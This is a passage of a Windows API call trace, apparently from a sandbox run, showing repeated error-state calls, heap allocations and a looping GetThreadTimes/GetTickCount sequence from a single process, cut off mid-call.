SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.440] SetLastError (dwErrCode=0x0) [0050.440] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.441] SetLastError (dwErrCode=0x0) [0050.441] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.442] GetLastError () returned 0x0 [0050.442] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x0, Size=0x5f) returned 0x1e71990 [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.443] SetLastError (dwErrCode=0x0) [0050.443] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.444] SetLastError (dwErrCode=0x0) [0050.444] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.445] SetLastError (dwErrCode=0x0) [0050.445] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.446] SetLastError (dwErrCode=0x0) [0050.446] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.447] SetLastError (dwErrCode=0x0) [0050.447] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.448] SetLastError (dwErrCode=0x0) [0050.448] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.449] SetLastError (dwErrCode=0x0) [0050.449] GetLastError () returned 0x0 [0050.450] SetLastError (dwErrCode=0x0) [0050.450] GetLastError () returned 0x0 [0050.450] SetLastError (dwErrCode=0x0) [0050.450] GetLastError () returned 0x0 [0050.450] SetLastError (dwErrCode=0x0) [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x98) returned 0x1e719f8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x1f) returned 0x1e71a98 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x36) returned 0x1e71ac0 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x37) returned 0x1e71b00 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x3c) returned 0x1e71b40 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x31) returned 0x1e71b88 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x17) returned 0x1e71bc8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x24) returned 0x1e71be8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x14) returned 0x1e71c18 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0xd) returned 0x1e71c38 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x25) returned 0x1e71c50 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x39) returned 0x1e71c80 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x18) returned 0x1e71cc8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x17) returned 0x1e71ce8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0xe) returned 0x1e71d08 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x69) returned 0x1e71d20 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x3e) returned 0x1e71d98 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x1b) returned 0x1e71de0 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x1d) returned 0x1e71e08 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x48) returned 0x1e71e30 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x12) returned 0x1e71e80 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x18) returned 0x1e71ea0 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x1b) returned 0x1e71ec0 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x24) returned 0x1e71ee8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x29) returned 0x1e71f18 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x1e) returned 0x1e71f50 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x41) returned 0x1e71f78 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x17) returned 0x1e71fc8 [0050.450] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0xf) returned 0x1e71fe8 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x16) returned 0x1e72000 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x2a) returned 0x1e72020 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x29) returned 0x1e72058 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x15) returned 0x1e72090 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x1e) returned 0x1e720b0 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x2a) returned 0x1e720d8 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x12) returned 0x1e72110 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x18) returned 0x1e72130 [0050.451] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x46) returned 0x1e72150 [0050.451] HeapFree (in: hHeap=0x1e70000, dwFlags=0x0, lpMem=0x1e711f8 | out: hHeap=0x1e70000) returned 1 [0050.452] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x80) returned 0x1e711f8 [0050.452] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x800) returned 0x1e721a0 [0050.452] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40403a) returned 0x0 [0050.452] RtlSizeHeap (HeapHandle=0x1e70000, Flags=0x0, MemoryPointer=0x1e711f8) returned 0x80 [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.453] SetLastError (dwErrCode=0x0) [0050.453] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.454] GetLastError () returned 0x0 [0050.454] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.455] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.455] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.455] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.455] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.455] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.455] SetLastError (dwErrCode=0x0) [0050.455] GetLastError () returned 0x0 [0050.456] SetLastError (dwErrCode=0x0) [0050.456] GetLastError () returned 0x0 [0050.456] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.456] GetMessageExtraInfo () returned 0x0 [0050.462] GetTickCount () returned 0x1b48f [0050.462] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.462] GetMessageExtraInfo () returned 0x0 [0050.462] GetTickCount () returned 0x1b48f [0050.462] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.462] GetMessageExtraInfo () returned 0x0 [0050.462] GetTickCount () returned 0x1b48f [0050.462] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.462] GetMessageExtraInfo () returned 0x0 [0050.462] GetTickCount () returned 0x1b48f [0050.462] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.462] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.463] GetTickCount () returned 0x1b48f [0050.463] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.463] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.464] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.464] GetMessageExtraInfo () returned 0x0 [0050.464] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.465] GetMessageExtraInfo () returned 0x0 [0050.465] GetTickCount () returned 0x1b48f [0050.465] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, 